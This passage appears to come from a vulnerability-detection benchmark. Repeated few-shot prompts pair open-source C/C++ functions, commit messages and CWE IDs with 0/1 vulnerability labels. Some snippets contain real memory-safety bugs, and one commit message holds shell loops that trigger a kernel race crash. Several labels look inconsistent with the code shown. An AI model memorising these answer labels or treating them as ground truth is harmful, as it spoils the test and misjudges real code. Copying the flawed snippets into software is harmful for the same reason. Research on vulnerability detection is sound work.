EXTRACT_32BITS(&p->nd_na_flags_reserved)))); #define NDADVLEN 24 icmp6_opt_print(ndo, (const u_char *)dp + NDADVLEN, length - NDADVLEN); #undef NDADVLEN } } break; case ND_REDIRECT: #define RDR(i) ((const struct nd_redirect *)(i)) ND_TCHECK(RDR(dp)->nd_rd_dst); ND_PRINT((ndo,", %s", ip6addr_string(ndo, &RDR(dp)->nd_rd_dst))); ND_TCHECK(RDR(dp)->nd_rd_target); ND_PRINT((ndo," to %s", ip6addr_string(ndo, &RDR(dp)->nd_rd_target))); #define REDIRECTLEN 40 if (ndo->ndo_vflag) { icmp6_opt_print(ndo, (const u_char *)dp + REDIRECTLEN, length - REDIRECTLEN); } break; #undef REDIRECTLEN #undef RDR case ICMP6_ROUTER_RENUMBERING: icmp6_rrenum_print(ndo, bp, ep); break; case ICMP6_NI_QUERY: case ICMP6_NI_REPLY: icmp6_nodeinfo_print(ndo, length, bp, ep); break; case IND_SOLICIT: case IND_ADVERT: break; case ICMP6_V2_MEMBERSHIP_REPORT: mldv2_report_print(ndo, (const u_char *) dp, length); break; case ICMP6_MOBILEPREFIX_SOLICIT: /* fall through */ case ICMP6_HADISCOV_REQUEST: ND_TCHECK(dp->icmp6_data16[0]); ND_PRINT((ndo,", id 0x%04x", EXTRACT_16BITS(&dp->icmp6_data16[0]))); break; case ICMP6_HADISCOV_REPLY: if (ndo->ndo_vflag) { const struct in6_addr *in6; const u_char *cp; ND_TCHECK(dp->icmp6_data16[0]); ND_PRINT((ndo,", id 0x%04x", EXTRACT_16BITS(&dp->icmp6_data16[0]))); cp = (const u_char *)dp + length; in6 = (const struct in6_addr *)(dp + 1); for (; (const u_char *)in6 < cp; in6++) { ND_TCHECK(*in6); ND_PRINT((ndo,", %s", ip6addr_string(ndo, in6))); } } break; case ICMP6_MOBILEPREFIX_ADVERT: if (ndo->ndo_vflag) { ND_TCHECK(dp->icmp6_data16[0]); ND_PRINT((ndo,", id 0x%04x", EXTRACT_16BITS(&dp->icmp6_data16[0]))); if (dp->icmp6_data16[1] & 0xc0) ND_PRINT((ndo," ")); if (dp->icmp6_data16[1] & 0x80) ND_PRINT((ndo,"M")); if (dp->icmp6_data16[1] & 0x40) ND_PRINT((ndo,"O")); #define MPADVLEN 8 icmp6_opt_print(ndo, (const u_char *)dp + MPADVLEN, length - MPADVLEN); } break; case ND_RPL_MESSAGE: /* plus 4, because struct icmp6_hdr contains 4 bytes of icmp payload */ rpl_print(ndo, dp, &dp->icmp6_data8[0], length-sizeof(struct icmp6_hdr)+4); break; default: ND_PRINT((ndo,", length %u", length)); if (ndo->ndo_vflag <= 1) print_unknown_data(ndo, bp,"\n\t", length); return; } if (!ndo->ndo_vflag) ND_PRINT((ndo,", length %u", length)); return; trunc: ND_PRINT((ndo, "[|icmp6]")); } Commit Message: CVE-2017-13021/ICMP6: Add a missing bounds check. This fixes a buffer over-read discovered by Bhargava Shastry, SecT/TU Berlin. Add a test using the capture file supplied by the reporter(s), modified so the capture file won't be rejected as an invalid capture. CWE ID: CWE-125 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void PPB_URLLoader_Impl::FinishLoading(int32_t done_status) { done_status_ = done_status; if (TrackedCallback::IsPending(pending_callback_)) RunCallback(done_status_); } Commit Message: Remove possibility of stale user_buffer_ member in PPB_URLLoader_Impl when FinishedLoading() is called. BUG=137778 Review URL: https://chromiumcodereview.appspot.com/10797037 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@147914 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-119 Target: 1 Example 2: Code: GfxDeviceCMYKColorSpace::~GfxDeviceCMYKColorSpace() { } Commit Message: CWE ID: CWE-189 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: asmlinkage void __sched preempt_schedule_irq(void) { struct thread_info *ti = current_thread_info(); /* Catch callers which need to be fixed */ BUG_ON(ti->preempt_count || !irqs_disabled()); do { add_preempt_count(PREEMPT_ACTIVE); local_irq_enable(); schedule(); local_irq_disable(); sub_preempt_count(PREEMPT_ACTIVE); /* * Check again in case we missed a preemption opportunity * between schedule and now. */ barrier(); } while (need_resched()); } Commit Message: Sched: fix skip_clock_update optimization idle_balance() drops/retakes rq->lock, leaving the previous task vulnerable to set_tsk_need_resched(). Clear it after we return from balancing instead, and in setup_thread_stack() as well, so no successfully descheduled or never scheduled task has it set. Need resched confused the skip_clock_update logic, which assumes that the next call to update_rq_clock() will come nearly immediately after being set. Make the optimization robust against the waking a sleeper before it sucessfully deschedules case by checking that the current task has not been dequeued before setting the flag, since it is that useless clock update we're trying to save, and clear unconditionally in schedule() proper instead of conditionally in put_prev_task(). Signed-off-by: Mike Galbraith <[email protected]> Reported-by: Bjoern B. Brandenburg <[email protected]> Tested-by: Yong Zhang <[email protected]> Signed-off-by: Peter Zijlstra <[email protected]> Cc: [email protected] LKML-Reference: <[email protected]> Signed-off-by: Ingo Molnar <[email protected]> CWE ID: Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static void shm_destroy(struct ipc_namespace *ns, struct shmid_kernel *shp) { ns->shm_tot -= (shp->shm_segsz + PAGE_SIZE - 1) >> PAGE_SHIFT; shm_rmid(ns, shp); shm_unlock(shp); if (!is_file_hugepages(shp->shm_file)) shmem_lock(shp->shm_file, 0, shp->mlock_user); else if (shp->mlock_user) user_shm_unlock(file_inode(shp->shm_file)->i_size, shp->mlock_user); fput (shp->shm_file); ipc_rcu_putref(shp, shm_rcu_free); } Commit Message: ipc,shm: fix shm_file deletion races When IPC_RMID races with other shm operations there's potential for use-after-free of the shm object's associated file (shm_file). Here's the race before this patch: TASK 1 TASK 2 ------ ------ shm_rmid() ipc_lock_object() shmctl() shp = shm_obtain_object_check() shm_destroy() shum_unlock() fput(shp->shm_file) ipc_lock_object() shmem_lock(shp->shm_file) <OOPS> The oops is caused because shm_destroy() calls fput() after dropping the ipc_lock. fput() clears the file's f_inode, f_path.dentry, and f_path.mnt, which causes various NULL pointer references in task 2. I reliably see the oops in task 2 if with shmlock, shmu This patch fixes the races by: 1) set shm_file=NULL in shm_destroy() while holding ipc_object_lock(). 2) modify at risk operations to check shm_file while holding ipc_object_lock(). Example workloads, which each trigger oops... Workload 1: while true; do id=$(shmget 1 4096) shm_rmid $id & shmlock $id & wait done The oops stack shows accessing NULL f_inode due to racing fput: _raw_spin_lock shmem_lock SyS_shmctl Workload 2: while true; do id=$(shmget 1 4096) shmat $id 4096 & shm_rmid $id & wait done The oops stack is similar to workload 1 due to NULL f_inode: touch_atime shmem_mmap shm_mmap mmap_region do_mmap_pgoff do_shmat SyS_shmat Workload 3: while true; do id=$(shmget 1 4096) shmlock $id shm_rmid $id & shmunlock $id & wait done The oops stack shows second fput tripping on an NULL f_inode. The first fput() completed via from shm_destroy(), but a racing thread did a get_file() and queued this fput(): locks_remove_flock __fput ____fput task_work_run do_notify_resume int_signal Fixes: c2c737a0461e ("ipc,shm: shorten critical region for shmat") Fixes: 2caacaa82a51 ("ipc,shm: shorten critical region for shmctl") Signed-off-by: Greg Thelen <[email protected]> Cc: Davidlohr Bueso <[email protected]> Cc: Rik van Riel <[email protected]> Cc: Manfred Spraul <[email protected]> Cc: <[email protected]> # 3.10.17+ 3.11.6+ Signed-off-by: Andrew Morton <[email protected]> Signed-off-by: Linus Torvalds <[email protected]> CWE ID: CWE-362 Target: 1 Example 2: Code: void SoftMPEG2::onPortFlushCompleted(OMX_U32 portIndex) { /* Once the output buffers are flushed, ignore any buffers that are held in decoder */ if (kOutputPortIndex == portIndex) { setFlushMode(); while (true) { ivd_video_decode_ip_t s_dec_ip; ivd_video_decode_op_t s_dec_op; IV_API_CALL_STATUS_T status; size_t sizeY, sizeUV; setDecodeArgs(&s_dec_ip, &s_dec_op, NULL, NULL, 0); status = ivdec_api_function(mCodecCtx, (void *)&s_dec_ip, (void *)&s_dec_op); if (0 == s_dec_op.u4_output_present) { resetPlugin(); break; } } } } Commit Message: codecs: check OMX buffer size before use in (avc|hevc|mpeg2)dec Bug: 27833616 Change-Id: Ic4045a3f56f53b08d0b1264b2a91b8f43e91b738 (cherry picked from commit 87fdee0bc9e3ac4d2a88ef0a8e150cfdf08c161d) CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: int sort_camera_metadata(camera_metadata_t *dst) { if (dst == NULL) return ERROR; if (dst->flags & FLAG_SORTED) return OK; qsort(get_entries(dst), dst->entry_count, sizeof(camera_metadata_buffer_entry_t), compare_entry_tags); dst->flags |= FLAG_SORTED; assert(validate_camera_metadata_structure(dst, NULL) == OK); return OK; } Commit Message: Camera: Prevent data size overflow Add a function to check overflow when calculating metadata data size. Bug: 30741779 Change-Id: I6405fe608567a4f4113674050f826f305ecae030 CWE ID: CWE-119 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void BlobURLRegistry::unregisterURL(const KURL& url) { ThreadableBlobRegistry::unregisterBlobURL(url); } Commit Message: Remove BlobRegistry indirection since there is only one implementation. BUG= Review URL: https://chromiumcodereview.appspot.com/15851008 git-svn-id: svn://svn.chromium.org/blink/trunk@152746 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: Target: 1 Example 2: Code: void hmhd_del(GF_Box *s) { GF_HintMediaHeaderBox *ptr = (GF_HintMediaHeaderBox *)s; if (ptr == NULL) return; gf_free(ptr); } Commit Message: fixed 2 possible heap overflows (inc. #1088) CWE ID: CWE-125 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: status_t OMXNodeInstance::setParameter( OMX_INDEXTYPE index, const void *params, size_t size) { Mutex::Autolock autoLock(mLock); OMX_INDEXEXTTYPE extIndex = (OMX_INDEXEXTTYPE)index; CLOG_CONFIG(setParameter, "%s(%#x), %zu@%p)", asString(extIndex), index, size, params); OMX_ERRORTYPE err = OMX_SetParameter( mHandle, index, const_cast<void *>(params)); CLOG_IF_ERROR(setParameter, err, "%s(%#x)", asString(extIndex), index); return StatusFromOMXError(err); } Commit Message: DO NOT MERGE: IOMX: work against metadata buffer spoofing - Prohibit direct set/getParam/Settings for extensions meant for OMXNodeInstance alone. This disallows enabling metadata mode without the knowledge of OMXNodeInstance. - Use a backup buffer for metadata mode buffers and do not directly share with clients. - Disallow setting up metadata mode/tunneling/input surface after first sendCommand. - Disallow store-meta for input cross process. - Disallow emptyBuffer for surface input (via IOMX). - Fix checking for input surface. Bug: 29422020 Change-Id: I801c77b80e703903f62e42d76fd2e76a34e4bc8e (cherry picked from commit 7c3c2fa3e233c656fc8c2fc2a6634b3ecf8a23e8) CWE ID: CWE-200 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: status_t NuPlayer::GenericSource::setBuffers( bool audio, Vector<MediaBuffer *> &buffers) { if (mIsWidevine && !audio && mVideoTrack.mSource != NULL) { return mVideoTrack.mSource->setBuffers(buffers); } return INVALID_OPERATION; } Commit Message: Resolve a merge issue between lmp and lmp-mr1+ Change-Id: I336cb003fb7f50fd7d95c30ca47e45530a7ad503 (cherry picked from commit 33f6da1092834f1e4be199cfa3b6310d66b521c0) (cherry picked from commit bb3a0338b58fafb01ac5b34efc450b80747e71e4) CWE ID: CWE-119 Target: 1 Example 2: Code: WebUI* WebContentsImpl::CreateSubframeWebUI(const GURL& url, const std::string& frame_name) { DCHECK(!frame_name.empty()); return CreateWebUI(url, frame_name); } Commit Message: Don't call WebContents::DownloadImage() callback if the WebContents were deleted BUG=583718 Review URL: https://codereview.chromium.org/1685343004 Cr-Commit-Position: refs/heads/master@{#375700} CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static bool vmx_get_nmi_mask(struct kvm_vcpu *vcpu) { if (!cpu_has_virtual_nmis()) return to_vmx(vcpu)->soft_vnmi_blocked; if (to_vmx(vcpu)->nmi_known_unmasked) return false; return vmcs_read32(GUEST_INTERRUPTIBILITY_INFO) & GUEST_INTR_STATE_NMI; } Commit Message: x86,kvm,vmx: Preserve CR4 across VM entry CR4 isn't constant; at least the TSD and PCE bits can vary. TBH, treating CR0 and CR3 as constant scares me a bit, too, but it looks like it's correct. This adds a branch and a read from cr4 to each vm entry. Because it is extremely likely that consecutive entries into the same vcpu will have the same host cr4 value, this fixes up the vmcs instead of restoring cr4 after the fact. A subsequent patch will add a kernel-wide cr4 shadow, reducing the overhead in the common case to just two memory reads and a branch. Signed-off-by: Andy Lutomirski <[email protected]> Acked-by: Paolo Bonzini <[email protected]> Cc: [email protected] Cc: Petr Matousek <[email protected]> Cc: Gleb Natapov <[email protected]> Signed-off-by: Linus Torvalds <[email protected]> CWE ID: CWE-399 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void mkvparser::GetVersion(int& major, int& minor, int& build, int& revision) { major = 1; minor = 0; build = 0; revision = 27; } Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039 CWE ID: CWE-119 Target: 1 Example 2: Code: static int setup_partitions(VP8Context *s, const uint8_t *buf, int buf_size) { const uint8_t *sizes = buf; int i; int ret; s->num_coeff_partitions = 1 << vp8_rac_get_uint(&s->c, 2); buf += 3 * (s->num_coeff_partitions - 1); buf_size -= 3 * (s->num_coeff_partitions - 1); if (buf_size < 0) return -1; for (i = 0; i < s->num_coeff_partitions - 1; i++) { int size = AV_RL24(sizes + 3 * i); if (buf_size - size < 0) return -1; ret = ff_vp56_init_range_decoder(&s->coeff_partition[i], buf, size); if (ret < 0) return ret; buf += size; buf_size -= size; } return ff_vp56_init_range_decoder(&s->coeff_partition[i], buf, buf_size); } Commit Message: avcodec/webp: Always set pix_fmt Fixes: out of array access Fixes: 1434/clusterfuzz-testcase-minimized-6314998085189632 Fixes: 1435/clusterfuzz-testcase-minimized-6483783723253760 Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg Reviewed-by: "Ronald S. Bultje" <[email protected]> Signed-off-by: Michael Niedermayer <[email protected]> CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static long vsock_dev_do_ioctl(struct file *filp, unsigned int cmd, void __user *ptr) { u32 __user *p = ptr; int retval = 0; switch (cmd) { case IOCTL_VM_SOCKETS_GET_LOCAL_CID: if (put_user(transport->get_local_cid(), p) != 0) retval = -EFAULT; break; default: pr_err("Unknown ioctl %d\n", cmd); retval = -EINVAL; } return retval; } Commit Message: VSOCK: Fix missing msg_namelen update in vsock_stream_recvmsg() The code misses to update the msg_namelen member to 0 and therefore makes net/socket.c leak the local, uninitialized sockaddr_storage variable to userland -- 128 bytes of kernel stack memory. Cc: Andy King <[email protected]> Cc: Dmitry Torokhov <[email protected]> Cc: George Zhang <[email protected]> Signed-off-by: Mathias Krause <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-200 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: int yr_execute_code( YR_RULES* rules, YR_SCAN_CONTEXT* context, int timeout, time_t start_time) { int64_t mem[MEM_SIZE]; int32_t sp = 0; uint8_t* ip = rules->code_start; YR_VALUE args[MAX_FUNCTION_ARGS]; YR_VALUE *stack; YR_VALUE r1; YR_VALUE r2; YR_VALUE r3; #ifdef PROFILING_ENABLED YR_RULE* current_rule = NULL; #endif YR_RULE* rule; YR_MATCH* match; YR_OBJECT_FUNCTION* function; char* identifier; char* args_fmt; int i; int found; int count; int result = ERROR_SUCCESS; int stop = FALSE; int cycle = 0; int tidx = context->tidx; int stack_size; #ifdef PROFILING_ENABLED clock_t start = clock(); #endif yr_get_configuration(YR_CONFIG_STACK_SIZE, (void*) &stack_size); stack = (YR_VALUE*) yr_malloc(stack_size * sizeof(YR_VALUE)); if (stack == NULL) return ERROR_INSUFFICIENT_MEMORY; while(!stop) { switch(*ip) { case OP_NOP: break; case OP_HALT: assert(sp == 0); // When HALT is reached the stack should be empty. stop = TRUE; break; case OP_PUSH: r1.i = *(uint64_t*)(ip + 1); ip += sizeof(uint64_t); push(r1); break; case OP_POP: pop(r1); break; case OP_CLEAR_M: r1.i = *(uint64_t*)(ip + 1); ip += sizeof(uint64_t); mem[r1.i] = 0; break; case OP_ADD_M: r1.i = *(uint64_t*)(ip + 1); ip += sizeof(uint64_t); pop(r2); if (!is_undef(r2)) mem[r1.i] += r2.i; break; case OP_INCR_M: r1.i = *(uint64_t*)(ip + 1); ip += sizeof(uint64_t); mem[r1.i]++; break; case OP_PUSH_M: r1.i = *(uint64_t*)(ip + 1); ip += sizeof(uint64_t); r1.i = mem[r1.i]; push(r1); break; case OP_POP_M: r1.i = *(uint64_t*)(ip + 1); ip += sizeof(uint64_t); pop(r2); mem[r1.i] = r2.i; break; case OP_SWAPUNDEF: r1.i = *(uint64_t*)(ip + 1); ip += sizeof(uint64_t); pop(r2); if (is_undef(r2)) { r1.i = mem[r1.i]; push(r1); } else { push(r2); } break; case OP_JNUNDEF: pop(r1); push(r1); ip = jmp_if(!is_undef(r1), ip); break; case OP_JLE: pop(r2); pop(r1); push(r1); push(r2); ip = jmp_if(r1.i <= r2.i, ip); break; case OP_JTRUE: pop(r1); push(r1); ip = jmp_if(!is_undef(r1) && r1.i, ip); break; case OP_JFALSE: pop(r1); push(r1); ip = jmp_if(is_undef(r1) || !r1.i, ip); break; case OP_AND: pop(r2); pop(r1); if (is_undef(r1) || is_undef(r2)) r1.i = 0; else r1.i = r1.i && r2.i; push(r1); break; case OP_OR: pop(r2); pop(r1); if (is_undef(r1)) { push(r2); } else if (is_undef(r2)) { push(r1); } else { r1.i = r1.i || r2.i; push(r1); } break; case OP_NOT: pop(r1); if (is_undef(r1)) r1.i = UNDEFINED; else r1.i= !r1.i; push(r1); break; case OP_MOD: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); if (r2.i != 0) r1.i = r1.i % r2.i; else r1.i = UNDEFINED; push(r1); break; case OP_SHR: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i >> r2.i; push(r1); break; case OP_SHL: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i << r2.i; push(r1); break; case OP_BITWISE_NOT: pop(r1); ensure_defined(r1); r1.i = ~r1.i; push(r1); break; case OP_BITWISE_AND: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i & r2.i; push(r1); break; case OP_BITWISE_OR: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i | r2.i; push(r1); break; case OP_BITWISE_XOR: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i ^ r2.i; push(r1); break; case OP_PUSH_RULE: rule = *(YR_RULE**)(ip + 1); ip += sizeof(uint64_t); r1.i = rule->t_flags[tidx] & RULE_TFLAGS_MATCH ? 1 : 0; push(r1); break; case OP_INIT_RULE: #ifdef PROFILING_ENABLED current_rule = *(YR_RULE**)(ip + 1); #endif ip += sizeof(uint64_t); break; case OP_MATCH_RULE: pop(r1); rule = *(YR_RULE**)(ip + 1); ip += sizeof(uint64_t); if (!is_undef(r1) && r1.i) rule->t_flags[tidx] |= RULE_TFLAGS_MATCH; else if (RULE_IS_GLOBAL(rule)) rule->ns->t_flags[tidx] |= NAMESPACE_TFLAGS_UNSATISFIED_GLOBAL; #ifdef PROFILING_ENABLED rule->clock_ticks += clock() - start; start = clock(); #endif break; case OP_OBJ_LOAD: identifier = *(char**)(ip + 1); ip += sizeof(uint64_t); r1.o = (YR_OBJECT*) yr_hash_table_lookup( context->objects_table, identifier, NULL); assert(r1.o != NULL); push(r1); break; case OP_OBJ_FIELD: identifier = *(char**)(ip + 1); ip += sizeof(uint64_t); pop(r1); ensure_defined(r1); r1.o = yr_object_lookup_field(r1.o, identifier); assert(r1.o != NULL); push(r1); break; case OP_OBJ_VALUE: pop(r1); ensure_defined(r1); switch(r1.o->type) { case OBJECT_TYPE_INTEGER: r1.i = ((YR_OBJECT_INTEGER*) r1.o)->value; break; case OBJECT_TYPE_FLOAT: if (isnan(((YR_OBJECT_DOUBLE*) r1.o)->value)) r1.i = UNDEFINED; else r1.d = ((YR_OBJECT_DOUBLE*) r1.o)->value; break; case OBJECT_TYPE_STRING: if (((YR_OBJECT_STRING*) r1.o)->value == NULL) r1.i = UNDEFINED; else r1.p = ((YR_OBJECT_STRING*) r1.o)->value; break; default: assert(FALSE); } push(r1); break; case OP_INDEX_ARRAY: pop(r1); // index pop(r2); // array ensure_defined(r1); ensure_defined(r2); assert(r2.o->type == OBJECT_TYPE_ARRAY); r1.o = yr_object_array_get_item(r2.o, 0, (int) r1.i); if (r1.o == NULL) r1.i = UNDEFINED; push(r1); break; case OP_LOOKUP_DICT: pop(r1); // key pop(r2); // dictionary ensure_defined(r1); ensure_defined(r2); assert(r2.o->type == OBJECT_TYPE_DICTIONARY); r1.o = yr_object_dict_get_item( r2.o, 0, r1.ss->c_string); if (r1.o == NULL) r1.i = UNDEFINED; push(r1); break; case OP_CALL: args_fmt = *(char**)(ip + 1); ip += sizeof(uint64_t); i = (int) strlen(args_fmt); count = 0; while (i > 0) { pop(r1); if (is_undef(r1)) // count the number of undefined args count++; args[i - 1] = r1; i--; } pop(r2); ensure_defined(r2); if (count > 0) { r1.i = UNDEFINED; push(r1); break; } function = (YR_OBJECT_FUNCTION*) r2.o; result = ERROR_INTERNAL_FATAL_ERROR; for (i = 0; i < MAX_OVERLOADED_FUNCTIONS; i++) { if (function->prototypes[i].arguments_fmt == NULL) break; if (strcmp(function->prototypes[i].arguments_fmt, args_fmt) == 0) { result = function->prototypes[i].code(args, context, function); break; } } assert(i < MAX_OVERLOADED_FUNCTIONS); if (result == ERROR_SUCCESS) { r1.o = function->return_obj; push(r1); } else { stop = TRUE; } break; case OP_FOUND: pop(r1); r1.i = r1.s->matches[tidx].tail != NULL ? 1 : 0; push(r1); break; case OP_FOUND_AT: pop(r2); pop(r1); if (is_undef(r1)) { r1.i = 0; push(r1); break; } match = r2.s->matches[tidx].head; r3.i = FALSE; while (match != NULL) { if (r1.i == match->base + match->offset) { r3.i = TRUE; break; } if (r1.i < match->base + match->offset) break; match = match->next; } push(r3); break; case OP_FOUND_IN: pop(r3); pop(r2); pop(r1); ensure_defined(r1); ensure_defined(r2); match = r3.s->matches[tidx].head; r3.i = FALSE; while (match != NULL && !r3.i) { if (match->base + match->offset >= r1.i && match->base + match->offset <= r2.i) { r3.i = TRUE; } if (match->base + match->offset > r2.i) break; match = match->next; } push(r3); break; case OP_COUNT: pop(r1); r1.i = r1.s->matches[tidx].count; push(r1); break; case OP_OFFSET: pop(r2); pop(r1); ensure_defined(r1); match = r2.s->matches[tidx].head; i = 1; r3.i = UNDEFINED; while (match != NULL && r3.i == UNDEFINED) { if (r1.i == i) r3.i = match->base + match->offset; i++; match = match->next; } push(r3); break; case OP_LENGTH: pop(r2); pop(r1); ensure_defined(r1); match = r2.s->matches[tidx].head; i = 1; r3.i = UNDEFINED; while (match != NULL && r3.i == UNDEFINED) { if (r1.i == i) r3.i = match->match_length; i++; match = match->next; } push(r3); break; case OP_OF: found = 0; count = 0; pop(r1); while (!is_undef(r1)) { if (r1.s->matches[tidx].tail != NULL) found++; count++; pop(r1); } pop(r2); if (is_undef(r2)) r1.i = found >= count ? 1 : 0; else r1.i = found >= r2.i ? 1 : 0; push(r1); break; case OP_FILESIZE: r1.i = context->file_size; push(r1); break; case OP_ENTRYPOINT: r1.i = context->entry_point; push(r1); break; case OP_INT8: pop(r1); r1.i = read_int8_t_little_endian(context->iterator, (size_t) r1.i); push(r1); break; case OP_INT16: pop(r1); r1.i = read_int16_t_little_endian(context->iterator, (size_t) r1.i); push(r1); break; case OP_INT32: pop(r1); r1.i = read_int32_t_little_endian(context->iterator, (size_t) r1.i); push(r1); break; case OP_UINT8: pop(r1); r1.i = read_uint8_t_little_endian(context->iterator, (size_t) r1.i); push(r1); break; case OP_UINT16: pop(r1); r1.i = read_uint16_t_little_endian(context->iterator, (size_t) r1.i); push(r1); break; case OP_UINT32: pop(r1); r1.i = read_uint32_t_little_endian(context->iterator, (size_t) r1.i); push(r1); break; case OP_INT8BE: pop(r1); r1.i = read_int8_t_big_endian(context->iterator, (size_t) r1.i); push(r1); break; case OP_INT16BE: pop(r1); r1.i = read_int16_t_big_endian(context->iterator, (size_t) r1.i); push(r1); break; case OP_INT32BE: pop(r1); r1.i = read_int32_t_big_endian(context->iterator, (size_t) r1.i); push(r1); break; case OP_UINT8BE: pop(r1); r1.i = read_uint8_t_big_endian(context->iterator, (size_t) r1.i); push(r1); break; case OP_UINT16BE: pop(r1); r1.i = read_uint16_t_big_endian(context->iterator, (size_t) r1.i); push(r1); break; case OP_UINT32BE: pop(r1); r1.i = read_uint32_t_big_endian(context->iterator, (size_t) r1.i); push(r1); break; case OP_CONTAINS: pop(r2); pop(r1); ensure_defined(r1); ensure_defined(r2); r1.i = memmem(r1.ss->c_string, r1.ss->length, r2.ss->c_string, r2.ss->length) != NULL; push(r1); break; case OP_IMPORT: r1.i = *(uint64_t*)(ip + 1); ip += sizeof(uint64_t); result = yr_modules_load((char*) r1.p, context); if (result != ERROR_SUCCESS) stop = TRUE; break; case OP_MATCHES: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); if (r1.ss->length == 0) { r1.i = FALSE; push(r1); break; } result = yr_re_exec( (uint8_t*) r2.re->code, (uint8_t*) r1.ss->c_string, r1.ss->length, 0, r2.re->flags | RE_FLAGS_SCAN, NULL, NULL, &found); if (result != ERROR_SUCCESS) stop = TRUE; r1.i = found >= 0; push(r1); break; case OP_INT_TO_DBL: r1.i = *(uint64_t*)(ip + 1); ip += sizeof(uint64_t); r2 = stack[sp - r1.i]; if (is_undef(r2)) stack[sp - r1.i].i = UNDEFINED; else stack[sp - r1.i].d = (double) r2.i; break; case OP_STR_TO_BOOL: pop(r1); ensure_defined(r1); r1.i = r1.ss->length > 0; push(r1); break; case OP_INT_EQ: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i == r2.i; push(r1); break; case OP_INT_NEQ: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i != r2.i; push(r1); break; case OP_INT_LT: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i < r2.i; push(r1); break; case OP_INT_GT: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i > r2.i; push(r1); break; case OP_INT_LE: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i <= r2.i; push(r1); break; case OP_INT_GE: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i >= r2.i; push(r1); break; case OP_INT_ADD: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i + r2.i; push(r1); break; case OP_INT_SUB: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i - r2.i; push(r1); break; case OP_INT_MUL: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.i * r2.i; push(r1); break; case OP_INT_DIV: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); if (r2.i != 0) r1.i = r1.i / r2.i; else r1.i = UNDEFINED; push(r1); break; case OP_INT_MINUS: pop(r1); ensure_defined(r1); r1.i = -r1.i; push(r1); break; case OP_DBL_LT: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.d < r2.d; push(r1); break; case OP_DBL_GT: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.d > r2.d; push(r1); break; case OP_DBL_LE: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.d <= r2.d; push(r1); break; case OP_DBL_GE: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.d >= r2.d; push(r1); break; case OP_DBL_EQ: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.d == r2.d; push(r1); break; case OP_DBL_NEQ: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.i = r1.d != r2.d; push(r1); break; case OP_DBL_ADD: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.d = r1.d + r2.d; push(r1); break; case OP_DBL_SUB: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.d = r1.d - r2.d; push(r1); break; case OP_DBL_MUL: pop(r2); pop(r1); 